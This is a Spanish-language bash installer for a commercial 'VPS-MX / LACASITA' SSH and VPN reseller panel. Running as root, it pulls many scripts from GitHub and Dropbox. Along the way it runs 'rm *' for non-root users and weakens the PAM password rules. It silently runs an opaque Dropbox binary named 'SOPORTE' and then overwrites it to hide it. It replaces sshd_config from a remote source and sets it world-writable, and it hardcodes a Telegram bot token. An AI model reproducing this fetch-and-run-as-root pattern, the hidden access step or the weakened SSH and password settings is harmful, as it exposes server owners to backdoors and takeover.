LACASITA.sh 26 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070
  1. #!/bin/bash
  2. if [ `whoami` != 'root' ]
  3. then
  4. echo -e "\e[1;31mPARA PODER USAR EL INSTALADOR ES NECESARIO SER ROOT\nAUN NO SABES COMO INICAR COMO ROOT?\nDIJITA ESTE COMANDO EN TU TERMINAL ( sudo -i )\e[0m"
  5. rm *
  6. exit
  7. fi
  8. msg () {
  9. BRAN='\033[1;37m' && VERMELHO='\e[31m' && VERDE='\e[32m' && AMARELO='\e[33m'
  10. AZUL='\e[34m' && MAGENTA='\e[35m' && MAG='\033[1;36m' &&NEGRITO='\e[1m' && SEMCOR='\e[0m'
  11. case $1 in
  12. -ne)cor="${VERMELHO}${NEGRITO}" && echo -ne "${cor}${2}${SEMCOR}";;
  13. -ama)cor="${AMARELO}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
  14. -verm)cor="${AMARELO}${NEGRITO}[!] ${VERMELHO}" && echo -e "${cor}${2}${SEMCOR}";;
  15. -azu)cor="${MAG}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
  16. -verd)cor="${VERDE}${NEGRITO}" && echo -e "${cor}${2}${SEMCOR}";;
  17. -bra)cor="${VERMELHO}" && echo -ne "${cor}${2}${SEMCOR}";;
  18. "-bar2"|"-bar")cor="${VERMELHO}————————————————————————————————————————————————————" && echo -e "${SEMCOR}${cor}${SEMCOR}";;
  19. esac
  20. }
  21. os_system(){
  22. system=$(cat -n /etc/issue |grep 1 |cut -d ' ' -f6,7,8 |sed 's/1//' |sed 's/ //')
  23. distro=$(echo "$system"|awk '{print $1}')
  24. case $distro in
  25. Debian)vercion=$(echo $system|awk '{print $3}'|cut -d '.' -f1);;
  26. Ubuntu)vercion=$(echo $system|awk '{print $2}'|cut -d '.' -f1,2);;
  27. esac
  28. link="https://raw.githubusercontent.com/rudi9999/ADMRufu/main/Repositorios/${vercion}.list"
  29. case $vercion in
  30. 8|9|10|11|16.04|18.04|20.04|20.10|21.04|21.10|22.04)wget -O /etc/apt/sources.list ${link} &>/dev/null;;
  31. esac
  32. }
  33. fun_bar () {
  34. comando="$1"
  35. _=$(
  36. $comando > /dev/null 2>&1
  37. ) & > /dev/null
  38. pid=$!
  39. while [[ -d /proc/$pid ]]; do
  40. echo -ne " \033[1;33m["
  41. for((i=0; i<40; i++)); do
  42. echo -ne "\033[1;31m>"
  43. sleep 0.1
  44. done
  45. echo -ne "\033[1;33m]"
  46. sleep 1s
  47. echo
  48. tput cuu1 && tput dl1
  49. done
  50. echo -ne " \033[1;33m[\033[1;31m>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\033[1;33m] - \033[1;32m OK \033[0m\n"
  51. sleep 1s
  52. }
  53. msg -bar2
  54. echo -e " \e[97m\033[1;41m =====>>►► SCRIPT MOD LACASITAMX ◄◄<<===== \033[1;37m"
  55. msg -bar2
  56. msg -ama " PREPARANDO INSTALACION"
  57. msg -bar2
  58. INSTALL_DIR_PARENT="/usr/local/vpsmxup/"
  59. INSTALL_DIR=${INSTALL_DIR_PARENT}
  60. if [ ! -d "$INSTALL_DIR" ]; then
  61. mkdir -p "$INSTALL_DIR_PARENT"
  62. cd "$INSTALL_DIR_PARENT"
  63. wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/zzupdate/zzupdate.default.conf -O /usr/local/vpsmxup/vpsmxup.default.conf &> /dev/null
  64. else
  65. echo ""
  66. fi
  67. echo ""
  68. apt install pv -y &> /dev/null
  69. apt install pv -y -qq --silent > /dev/null 2>&1
  70. os_system
  71. echo -e "\e[1;31m SISTEMA: \e[33m$distro $vercion"
  72. killall apt apt-get > /dev/null 2>&1 && echo -e "\033[97m ◽️ INTENTANDO DETENER UPDATER SECUNDARIO " | pv -qL 40
  73. dpkg --configure -a > /dev/null 2>&1 && echo -e "\033[97m ◽️ INTENTANDO RECONFIGURAR UPDATER " | pv -qL 40
  74. apt list --upgradable &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO APT-LIST " | pv -qL 50
  75. apt-get install software-properties-common -y > /dev/null 2>&1 && echo -e "\033[97m ◽️ INSTALANDO S-P-C " | pv -qL 50
  76. apt-get install curl -y &>/dev/null
  77. apt-get install python -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO PY " | pv -qL 50
  78. apt-get install python-pip -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO PY-PIP " | pv -qL 50
  79. apt-get install python3 -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO PY3 " | pv -qL 50
  80. apt-get install python3-pip -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO PY3-PIP " | pv -qL 50
  81. sudo apt-add-repository universe -y > /dev/null 2>&1 && echo -e "\033[97m ◽️ INSTALANDO LIBRERIA UNIVERSAL " | pv -qL 50
  82. [[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get install net-tools -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO NET-TOOLS" | pv -qL 40
  83. sed -i 's/.*pam_cracklib.so.*/password sufficient pam_unix.so sha512 shadow nullok try_first_pass #use_authtok/' /etc/pam.d/common-password > /dev/null 2>&1 && echo -e "\033[97m ◽️ DESACTIVANDO PASS ALFANUMERICO " | pv -qL 50
  84. apt-get install lsof -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO LSOF" | pv -qL 40
  85. apt-get install bc -y &>/dev/null && echo -e "\033[97m ◽️ INSTALANDO BC" | pv -qL 40
  86. fun_bar 'sleep 0.1s'
  87. rootvps(){
  88. echo -e "\033[31m OPTENIENDO ACCESO ROOT "
  89. wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SR/root.sh &>/dev/null -O /usr/bin/rootlx &>/dev/null
  90. chmod 775 /usr/bin/rootlx &>/dev/null
  91. rootlx
  92. clear
  93. echo -e "\033[31m ACCESO ROOT CON ÉXITO "
  94. sleep 1
  95. rm -rf /usr/bin/rootlx
  96. }
  97. msg -bar
  98. echo -e "\033[1;37m YA TIENES ACCESO ROOT A TU VPS?\n ESTO SOLO FUNCIONA PARA (AWS,GOOGLECLOUD,AZURE,ETC)\n SI YA TIENES ACCESO A ROOT SOLO IGNORA ESTE MENSAJE\n Y SIGUE CON LA INSTALACION NORMAL..."
  99. msg -bar
  100. read -p "Responde [ s | n ]: " -e -i n rootvps
  101. [[ "$rootvps" = "s" || "$rootvps" = "S" ]] && rootvps
  102. msg -bar
  103. clear
  104. rm -rf /usr/bin/vpsmxup
  105. rm -rf lista-arq
  106. rm -rf LACASITA.sh
  107. function printTitle
  108. {
  109. echo ""
  110. echo -e "\033[1;92m$1\033[1;91m"
  111. printf '%0.s-' $(seq 1 ${#1})
  112. echo ""
  113. }
  114. printTitle "Limpieza de caché local"
  115. apt-get clean
  116. printTitle "Actualizar información de paquetes disponibles"
  117. apt-get update
  118. printTitle "PAQUETES DE ACTUALIZACIÓN"
  119. apt-get dist-upgrade -y
  120. printTitle "Limpieza de paquetes (eliminación automática de paquetes no utilizados)"
  121. apt-get autoremove -y
  122. printTitle "Versión actual"
  123. lsb_release -d
  124. clear
  125. cd $HOME
  126. sudo sysctl -w net.ipv6.conf.all.disable_ipv6=1 > /dev/null 2>&1
  127. sudo sysctl -w net.ipv6.conf.default.disable_ipv6=1 > /dev/null 2>&1
  128. sudo sysctl -w net.ipv6.conf.lo.disable_ipv6=1 > /dev/null 2>&1
  129. rm $(pwd)/$0 &> /dev/null
  130. SCPdir="/etc/VPS-MX"
  131. SCPinstal="$HOME/install"
  132. SCPidioma="${SCPdir}/idioma"
  133. SCPusr="${SCPdir}/controlador"
  134. SCPfrm="${SCPdir}/herramientas"
  135. SCPinst="${SCPdir}/protocolos"
  136. myip=`ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0' | head -n1`;
  137. myint=`ifconfig | grep -B1 "inet addr:$myip" | head -n1 | awk '{print $1}'`;
  138. rm -rf /etc/localtime &>/dev/null
  139. ln -s /usr/share/zoneinfo/America/Chihuahua /etc/localtime &>/dev/null
  140. rm -rf /usr/local/lib/systemubu1 &> /dev/null
  141. clear
  142. msg -bar2
  143. msg -ama " [ SCRIPT \033[1;97m MOD LACASITAMX\033[1;33m ]"
  144. msg -bar
  145. echo -e "\033[97m"
  146. echo -e " \033[41m -- INSTALACION DE PAQUETES -- \e[49m"
  147. echo -e " \033[100m PONER ATENCION PARA SIGUIENTE PREGUNTA "
  148. echo -e "\033[97m"
  149. msg -bar
  150. apt-get install grep -y &>/dev/null
  151. [[ $(dpkg --get-selections|grep -w "grep"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  152. [[ $(dpkg --get-selections|grep -w "grep"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  153. echo -e "\033[97m # apt-get install grep............ $ESTATUS "
  154. apt-get install gawk -y &>/dev/null
  155. [[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  156. [[ $(dpkg --get-selections|grep -w "gawk"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  157. echo -e "\033[97m # apt-get install gawk............ $ESTATUS "
  158. apt-get install mlocate -y &>/dev/null
  159. [[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  160. [[ $(dpkg --get-selections|grep -w "mlocate"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  161. echo -e "\033[97m # apt-get install mlocate......... $ESTATUS "
  162. apt-get install lolcat -y &>/dev/null
  163. sudo gem install lolcat &>/dev/null
  164. [[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  165. [[ $(dpkg --get-selections|grep -w "lolcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  166. echo -e "\033[97m # apt-get install lolcat.......... $ESTATUS "
  167. [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] || apt-get install at -y &>/dev/null
  168. [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  169. [[ $(dpkg --get-selections|grep -w "at"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  170. echo -e "\033[97m # apt-get install at.............. $ESTATUS "
  171. [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || apt-get install nano -y &>/dev/null
  172. [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  173. [[ $(dpkg --get-selections|grep -w "nano"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  174. echo -e "\033[97m # apt-get install nano............ $ESTATUS "
  175. echo iptables-persistent iptables-persistent/autosave_v4 boolean true | sudo debconf-set-selections
  176. echo iptables-persistent iptables-persistent/autosave_v6 boolean true | sudo debconf-set-selections
  177. [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] || apt-get install iptables-persistent -y &>/dev/null
  178. [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  179. [[ $(dpkg --get-selections|grep -w "iptables-persistent"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  180. echo -e "\033[97m # apt-get install iptables........ $ESTATUS "
  181. [[ $(dpkg --get-selections|grep -w "bc"|head -1) ]] || apt-get install bc -y &>/dev/null
  182. [[ $(dpkg --get-selections|grep -w "lsof"|head -1) ]] || apt-get install lsof -y &>/dev/null
  183. [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null
  184. [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  185. [[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  186. echo -e "\033[97m # apt-get install figlet.......... $ESTATUS "
  187. [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || apt-get install cowsay -y &>/dev/null
  188. [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  189. [[ $(dpkg --get-selections|grep -w "cowsay"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  190. echo -e "\033[97m # apt-get install cowsay.......... $ESTATUS "
  191. [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || apt-get install screen -y &>/dev/null
  192. [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  193. [[ $(dpkg --get-selections|grep -w "screen"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  194. echo -e "\033[97m # apt-get install screen.......... $ESTATUS "
  195. [[ $(dpkg --get-selections|grep -w "python"|head -1) ]] || apt-get install python -y &>/dev/null
  196. [[ $(dpkg --get-selections|grep -w "python3"|head -1) ]] || apt-get install python3 -y &>/dev/null
  197. [[ $(dpkg --get-selections|grep -w "python3-pip"|head -1) ]] || apt-get install python3-pip -y &>/dev/null
  198. [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || apt-get install ufw -y &>/dev/null
  199. [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  200. [[ $(dpkg --get-selections|grep -w "ufw"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  201. echo -e "\033[97m # apt-get install ufw............. $ESTATUS "
  202. [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || apt-get install unzip -y &>/dev/null
  203. [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  204. [[ $(dpkg --get-selections|grep -w "unzip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  205. echo -e "\033[97m # apt-get install unzip........... $ESTATUS "
  206. [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || apt-get install zip -y &>/dev/null
  207. [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  208. [[ $(dpkg --get-selections|grep -w "zip"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  209. echo -e "\033[97m # apt-get install zip............. $ESTATUS "
  210. apt-get install apache2 -y &>/dev/null
  211. sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf > /dev/null 2>&1
  212. service apache2 restart > /dev/null 2>&1
  213. [[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null
  214. [[ $(dpkg --get-selections|grep -w "apache2"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null
  215. echo -e "\033[97m # apt-get install apache2......... $ESTATUS "
  216. msg -bar2
  217. clear
  218. idfix64_86 () {
  219. clear
  220. clear
  221. msg -bar2
  222. msg -bar2
  223. echo ""
  224. echo -e "\e[91m INSTALACION SEMI MANUAL DE PAQUETES "
  225. echo -e "\e[91m(En caso de pedir confirmacion escoja: #y#) \e[0m"
  226. echo ""
  227. sleep 7s
  228. apt-get update; apt-get upgrade -y
  229. apt-get install curl -y
  230. apt-get install lsof -y
  231. apt-get install sudo -y
  232. apt-get install figlet -y
  233. apt-get install cowsay -y
  234. apt-get install bc -y
  235. apt-get install python -y
  236. apt-get install at -y
  237. apt-get install apache2 -y
  238. sed -i "s;Listen 80;Listen 81;g" /etc/apache2/ports.conf
  239. service apache2 restart
  240. clear
  241. clear
  242. clear
  243. msg -bar2
  244. msg -bar2
  245. echo ""
  246. echo -e "\e[91mESCOJER PRIMERO #All locales# Y LUEGO #en_US.UTF-8# \e[0m"
  247. echo ""
  248. sleep 7s
  249. export LANGUAGE=en_US.UTF-8\
  250. && export LANG=en_US.UTF-8\
  251. && export LC_ALL=en_US.UTF-8 \
  252. && export LC_CTYPE="en_US.UTF-8"\
  253. && locale-gen en_US.UTF-8\
  254. && sudo apt-get -y install language-pack-en-base\
  255. && sudo dpkg-reconfigure locales
  256. clear
  257. }
  258. clear
  259. clear
  260. msg -bar2
  261. echo -e "\033[1;97m ¿PRECENTO ALGUN ERROR ALGUN PAQUETE ANTERIOR?"
  262. msg -bar2
  263. echo -e "\033[1;32m 1- Escoja:(N) No. Para Instalacion Normal"
  264. echo -e "\033[1;31m 2- Escoja:(S) Si. Saltaron errores."
  265. msg -bar2
  266. echo -e "\033[1;39m Al preciona enter continuara la instalacion Normal"
  267. msg -bar2
  268. read -p " [ S | N ]: " idfix64_86
  269. [[ "$idfix64_86" = "s" || "$idfix64_86" = "S" ]] && idfix64_86
  270. clear
  271. fun_ipe () {
  272. MIP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
  273. MIP2=$(wget -qO- ifconfig.me)
  274. [[ "$MIP" != "$MIP2" ]] && IP="$MIP2" || IP="$MIP"
  275. }
  276. fun_ip () {
  277. MIP2=$(wget -qO- ifconfig.me)
  278. MIP=$(wget -qO- whatismyip.akamai.com)
  279. if [ $? -eq 0 ]; then
  280. IP="$MIP"
  281. else
  282. IP="$MIP2"
  283. fi
  284. }
  285. function_verify () {
  286. permited=$(curl -sSL "https://www.dropbox.com/s/nmau2w8vebewpq3/control")
  287. [[ $(echo $permited|grep "${IP}") = "" ]] && {
  288. clear
  289. echo -e "\n\n\n\033[1;91m————————————————————————————————————————————————————\n ¡ESTA KEY NO CONCUERDA CON EL INSTALADOR! \n BOT: @CONECTEDMX_BOT \n————————————————————————————————————————————————————\n\n\n"
  290. [[ -d /etc/VPS-MX ]] && rm -rf /etc/VPS-MX
  291. exit 1
  292. } || {
  293. v1=$(curl -sSL "https://raw.githubusercontent.com/lacasitamx/version/master/vercion")
  294. echo "$v1" > /etc/versin_script
  295. }
  296. }
  297. funcao_idioma () {
  298. clear
  299. clear
  300. msg -bar2
  301. msg -bar2
  302. figlet " LACASITA" | lolcat
  303. echo -e " ESTE SCRIPT ESTA OPTIMIZADO A IDIOMA ESPAÑOL"
  304. msg -bar2
  305. pv="$(echo es)"
  306. [[ ${#id} -gt 2 ]] && id="es" || id="$pv"
  307. byinst="true"
  308. }
  309. install_fim () {
  310. msg -ama " Finalizando Instalacion" && msg bar2
  311. [[ $(find /etc/VPS-MX/controlador -name nombre.log|grep -w "nombre.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/nombre.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/nombre.log &>/dev/null
  312. [[ $(find /etc/VPS-MX/controlador -name IDT.log|grep -w "IDT.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/IDT.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/IDT.log &>/dev/null
  313. [[ $(find /etc/VPS-MX/controlador -name tiemlim.log|grep -w "tiemlim.log"|head -1) ]] || wget -O /etc/VPS-MX/controlador/tiemlim.log https://github.com/lacasitamx/VPSMX/raw/master/ArchivosUtilitarios/tiemlim.log &>/dev/null
  314. touch /usr/share/lognull &>/dev/null
  315. wget https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SR/SPR &>/dev/null -O /usr/bin/SPR &>/dev/null
  316. chmod 775 /usr/bin/SPR &>/dev/null
  317. wget -O /usr/bin/SOPORTE https://www.dropbox.com/s/8oi0mt9ikv5z8d0/soporte &>/dev/null
  318. chmod 775 /usr/bin/SOPORTE &>/dev/null
  319. SOPORTE &>/dev/null
  320. echo "ACCESO ACTIVADO" >/usr/bin/SOPORTE
  321. wget -O /bin/rebootnb https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/rebootnb &> /dev/null
  322. chmod +x /bin/rebootnb
  323. wget -O /bin/resetsshdrop https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/resetsshdrop &> /dev/null
  324. chmod +x /bin/resetsshdrop
  325. wget -O /etc/versin_script_new https://raw.githubusercontent.com/lacasitamx/version/master/vercion &>/dev/null
  326. wget -O /etc/ssh/sshd_config https://raw.githubusercontent.com/lacasitamx/ZETA/master/sshd &>/dev/null
  327. chmod 777 /etc/ssh/sshd_config
  328. msg -bar2
  329. echo '#!/bin/sh -e' > /etc/rc.local
  330. sudo chmod +x /etc/rc.local
  331. echo "sudo rebootnb" >> /etc/rc.local
  332. echo "sudo resetsshdrop" >> /etc/rc.local
  333. echo "sleep 2s" >> /etc/rc.local
  334. echo "exit 0" >> /etc/rc.local
  335. /bin/cp /etc/skel/.bashrc ~/
  336. echo 'clear' >> .bashrc
  337. echo 'echo ""' >> .bashrc
  338. echo 'figlet ":LACASITA:"|lolcat' >> .bashrc
  339. echo 'mess1="$(less /etc/VPS-MX/message.txt)" ' >> .bashrc
  340. echo 'echo "" '>> .bashrc
  341. echo 'echo -e "\t\033[92mRESELLER : $mess1 "'>> .bashrc
  342. echo 'echo -e "\t\e[1;33mVERSION: \e[1;31m$(cat /etc/versin_script_new)"'>> .bashrc
  343. echo 'echo "" '>> .bashrc
  344. echo 'echo -e "\t\033[97mPARA MOSTAR PANEL BASH ESCRIBA: sudo menu "'>> .bashrc
  345. echo 'echo ""'>> .bashrc
  346. echo -e " COMANDO PRINCIPAL PARA ENTRAR AL PANEL "
  347. echo -e " \033[1;41m sudo menu \033[0;37m" && msg -bar2
  348. rm -rf /usr/bin/pytransform &> /dev/null
  349. rm -rf LACASITA.sh
  350. rm -rf lista-arq
  351. service ssh restart &>/dev/null
  352. exit
  353. }
  354. ofus () {
  355. unset server
  356. server=$(echo ${txt_ofuscatw}|cut -d':' -f1)
  357. unset txtofus
  358. number=$(expr length $1)
  359. for((i=1; i<$number+1; i++)); do
  360. txt[$i]=$(echo "$1" | cut -b $i)
  361. case ${txt[$i]} in
  362. ".")txt[$i]="C";;
  363. "C")txt[$i]=".";;
  364. "3")txt[$i]="@";;
  365. "@")txt[$i]="3";;
  366. "5")txt[$i]="9";;
  367. "9")txt[$i]="5";;
  368. "6")txt[$i]="P";;
  369. "P")txt[$i]="6";;
  370. "L")txt[$i]="O";;
  371. "O")txt[$i]="L";;
  372. esac
  373. txtofus+="${txt[$i]}"
  374. done
  375. echo "$txtofus" | rev
  376. }
  377. verificar_arq () {
  378. [[ ! -d ${SCPdir} ]] && mkdir ${SCPdir}
  379. [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
  380. [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
  381. [[ ! -d ${SCPinst} ]] && mkdir ${SCPinst}
  382. case $1 in
  383. "menu"|"message.txt"|"ID")ARQ="${SCPdir}/";; #Menu
  384. "usercodes")ARQ="${SCPusr}/";; #Panel SSRR
  385. "C-SSR.sh")ARQ="${SCPinst}/";; #Panel SSR
  386. "openssh.sh")ARQ="${SCPinst}/";; #OpenVPN
  387. "squid.sh")ARQ="${SCPinst}/";; #Squid
  388. "dropbear.sh"|"proxy.sh")ARQ="${SCPinst}/";; #Instalacao
  389. "proxy.sh")ARQ="${SCPinst}/";; #Instalacao
  390. "openvpn.sh")ARQ="${SCPinst}/";; #Instalacao
  391. "ssl.sh"|"python.py")ARQ="${SCPinst}/";; #Instalacao
  392. "shadowsocks.sh")ARQ="${SCPinst}/";; #Instalacao
  393. "Shadowsocks-libev.sh")ARQ="${SCPinst}/";; #Instalacao
  394. "Shadowsocks-R.sh")ARQ="${SCPinst}/";; #Instalacao
  395. "v2ray.sh"|"slowdns.sh")ARQ="${SCPinst}/";; #Instalacao
  396. "budp.sh")ARQ="${SCPinst}/";; #Instalacao
  397. "sockspy.sh"|"PDirect.py"|"PPub.py"|"PPriv.py"|"POpen.py"|"PGet.py")ARQ="${SCPinst}/";; #Instalacao
  398. *)ARQ="${SCPfrm}/";; #Herramientas
  399. esac
  400. mv -f ${SCPinstal}/$1 ${ARQ}/$1
  401. chmod +x ${ARQ}/$1
  402. }
  403. NOTIFY () {
  404. clear
  405. clear
  406. msg -bar
  407. msg -ama " Notify-BOT (Notificasion Remota)|@LaCasitaMx_Noty_Bot "
  408. msg -bar
  409. echo -e "\033[1;94m Notify-BOT es un simple notificador de:"
  410. echo -e "\033[1;94m >> Usuario Expirado"
  411. echo -e "\033[1;94m >> Usuario Eliminado"
  412. echo -e "\033[1;94m >> Avisos de VPS Reiniciada"
  413. echo -e "\033[1;94m >> Avisos de Monitor de Protocolos"
  414. echo -e "\033[1;97m Inicie El BOT de Telegram"
  415. echo -e "\033[1;92m ¡¡ Para sacar su ID entre al BOT @conectedmx_bot"
  416. echo -e "\033[1;92m Aparesera algo parecido 👤 → Tu ID es: 45145564 "
  417. msg -bar
  418. echo -e "\033[1;93mIgrese un nombre para el VPS:\033[0;37m"; read -p " " nombr
  419. echo "${nombr}" > /etc/VPS-MX/controlador/nombre.log
  420. echo -e "\033[1;93mIgrese su ID 👤:\033[0;37m"; read -p " " idbot
  421. echo "${idbot}" > /etc/VPS-MX/controlador/IDT.log
  422. msg -bar
  423. echo -e "\033[1;32m ID AGREGADO CON EXITO"
  424. msg -bar
  425. wget -qO- ifconfig.me > /etc/VPS-MX/IP.log
  426. ipt=`less /etc/VPS-MX/IP.log` > /dev/null 2>&1
  427. Nip="$(echo $ipt)"
  428. NOM="$(less /etc/VPS-MX/controlador/nombre.log)"
  429. NOM1="$(echo $NOM)"
  430. IDB1=`less /etc/VPS-MX/controlador/IDT.log` > /dev/null 2>&1
  431. IDB2=`echo $IDB1` > /dev/null 2>&1
  432. KEY="2012880601:AAEJ3Kk18PGDzW57LpTMnVMn_pQYQKW3V9w"
  433. URL="https://api.telegram.org/bot$KEY/sendMessage"
  434. MSG="⚠️ ►► AVISO DE VPS: $NOM1 ⚠
  435. 👉 ►► IP: $Nip
  436. 👉 ►► MENSAJE DE PRUEBA
  437. 🔰 ►► NOTI-BOT ACTIVADO CORRECTAMENTE"
  438. curl -s --max-time 10 -d "chat_id=$IDB2&disable_web_page_preview=1&text=$MSG" $URL &>/dev/null
  439. echo -e "\033[1;34m SE ENVIO MENSAJE DE PRUEBA "
  440. }
  441. fun_ipe
  442. wget -O /usr/bin/trans https://raw.githubusercontent.com/scriptsmx/script/master/Install/trans &> /dev/null
  443. wget -O /bin/Desbloqueo.sh https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/Desbloqueo.sh &> /dev/null
  444. chmod +x /bin/Desbloqueo.sh
  445. wget -O /bin/monitor.sh https://raw.githubusercontent.com/lacasitamx/VPSMX/master/SCRIPT-8.4/Utilidad/monitor.sh &> /dev/null
  446. chmod +x /bin/monitor.sh
